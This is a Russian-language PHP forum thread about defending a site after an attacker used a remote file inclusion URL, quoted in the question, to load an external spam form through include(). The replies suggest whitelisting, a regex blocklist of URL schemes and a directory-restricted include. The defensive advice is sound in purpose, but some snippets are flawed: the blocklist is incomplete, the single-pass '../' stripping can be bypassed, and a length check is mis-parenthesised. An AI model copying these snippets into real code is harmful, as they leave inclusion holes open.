Jump to content
  • 0

Порблема с защитой, попытка отправки спама с моего email


DMITRIY_S
 Share

Question

Добрый день!

Возникла проблема. Страницы на сайте генерируются с помощью функции include(), адрес файла передается в ссылке

пример index.php?cont=vasya.html. нехороший человек сделал следующее index.php?cont=http://www.freewebtown.com/xslayter1533/frangoSlayter.txt?

там форма для рассылки спама... Спам до адресатов не дошел, но ситуация очень неприятная...

Каким образом можно защитить сайт от подобных попыток?

Слышал что можно кодировать данные в md5, но как именно не понял.

Или есть более простая (надежная альтернатива)?

Я понимаю, что ошибка глупейшая но очень надеюсь на Вашу помощь!

Link to comment
Share on other sites

6 answers to this question

Recommended Posts

  • 0

Делайте проверку на то, кто обращается к скрипту, или на то какое значение переменной передается (у вас же их там наверняка не больше 10-20). И если вы так передаете переменные через GET, лучше передавать не их значения, а только имена, а значения жестко задать где-нить в скрипте константами.

Link to comment
Share on other sites

  • 0

ммм.. вы не совсем меня правильно поняли :) я не предлагал проверять вводимые неизвестные значения.. я предложил вам определить константы и проверять на соответствие им.. тоесть если это не конкретные значение (которых, как вы сказали у вас не много) ? то использовать значение по умолчанию.. к примеру index.html :) ...

тоесть составьте список констант ваших значений потом при запросе проверить на соответствие ? если запрос удовлетворяет какому-то значению 100% то пропускать, если же соответствия не найдено ? либо посылать на 404, либо автоматом подставлять значение по умолчанию.

Link to comment
Share on other sites

  • 0

На самом деле я вас почти понял... Просто лень этот список составлять а потом при добавлении новых страниц обновлять...

При получении пременной (cont1) я проверяю не ссылается на какой-то другой ресурс или сайт, опять же у меня на другом сайте не одна такая переменная а шесть (шаблон довольно сложный)... И страниц подгружаемых там с полсотни на каждую. И вот под каждую лепить список? Это уже задача БД, а ее увы хостинг не предоставляет. Меня интересует сможет-ли злоумышленник как-то обмануть эту проверку if (preg_match("/http:|https:|ftp:|sftp:/i", $cont1))? Или я что-то пропустил? Возможен обход? Если да, то я конечно воспользуюсь вашим советом...

Link to comment
Share on other sites

  • 0

а не проще ли по такой логике:

ф-и include абсолютно пофиг какой файл инклюдить. так?

значит делаем папку с инклюдящимися файлами http://mysite.ru/mail_includes/имя_файла.foo

а теперь когда через переменную инклюдим, то ГЕТ получаем http://mysite.ru/script.php?file=имя_файла

строка получения переменной:

$file = (isset($_GET['file']) && (strlen($_GET['file'] > 0)) ? $_GET['file'] : '404';

и инклюд становится таким: include('mail_includes/'.$file.'.foo');

плюс для 404 соответственно надо положить 404.foo

upd:

забыл пояснить... предположим подставлен произвольный текст: http://site.com/hack.php

инклюд пытается получить файл - ./mail_includes/http://site.com/hack.php.foo, которого разумеется на нашем сервере нет, а к внешнему обратиться ну никак не получится, что бы злой юзер ни вводил, ведь уже задана инклюд-директория на этом сервере. но чтоб не было ругательств про невозможность инклюда файла или пустого места, дополнительно перед инклюдом вводим проверку (для сокращения кода предварительно вынесем итоговый путь к файлу в переменную).

$inc_file = 'mail_includes/'.$file.'.foo';

(file_exists($inc_file) && is_file($inc_file)) ? include($inc_file) : include('mail_includes/404.foo');

upd2:

для защиты от сильно умных юзеров, можно еще добавить фильтр, чтоб при помощи имени .. нельзя было перейти в папки выше - бывают иногда такие упрямцы, судя по логгеру.

потому $inc_file = 'mail_includes/'.$file.'.foo'; превращается в $inc_file = 'mail_includes/'.str_replace('../','',$file).'.foo'; и попытка ввести что-то вроде ../index также обречена (хотя за счет приписки расширения foo она и так не удалась бы, но это на случай если использовать не foo, а html или php)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy